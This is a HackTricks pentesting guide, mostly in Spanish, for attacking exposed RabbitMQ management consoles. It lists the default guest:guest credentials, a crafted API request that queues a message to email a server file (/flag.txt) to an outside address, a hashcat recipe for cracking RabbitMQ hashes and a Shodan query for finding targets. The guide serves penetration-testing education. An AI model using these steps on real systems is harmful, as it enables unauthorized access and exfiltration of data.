hacktricks/network-services-pentesting/15672-pentesting-rabbitmq-management.md

87 lines
4.8 KiB
Markdown
Raw Permalink Normal View History

2023-06-05 18:33:24 +00:00
# 15672 - Pentesting RabbitMQ Management
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
2023-06-05 18:33:24 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-06-05 18:33:24 +00:00
## Información Básica
2023-06-05 18:33:24 +00:00
Puedes aprender más sobre RabbitMQ en [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
En este puerto puedes encontrar la consola web de gestión de RabbitMQ si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado.\
La página principal debería verse así:
2023-06-05 18:33:24 +00:00
![](<../.gitbook/assets/image (336).png>)
2023-06-05 18:33:24 +00:00
## Enumeración
Las credenciales predeterminadas son "_**guest**_":"_**guest**_". Si no funcionan, puedes intentar [**forzar el inicio de sesión**](../generic-methodologies-and-resources/brute-force.md#http-post-form).
2023-06-05 18:33:24 +00:00
Para iniciar manualmente este módulo, necesitas ejecutar:
2023-06-05 18:33:24 +00:00
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
Una vez que te hayas autenticado correctamente, verás la consola de administración:
![](<../.gitbook/assets/image (441).png>)
2023-06-05 18:33:24 +00:00
Además, si tienes credenciales válidas, puede que encuentres interesante la información de `http://localhost:15672/api/connections`
2023-06-05 18:33:24 +00:00
Nota también que es posible **publicar datos dentro de una cola** utilizando la API de este servicio con una solicitud como:
2023-06-05 18:33:24 +00:00
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
## Rompiendo Hash
```bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```
2023-06-05 18:33:24 +00:00
### Shodan
* `port:15672 http`
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
2023-06-05 18:33:24 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Apoya a HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}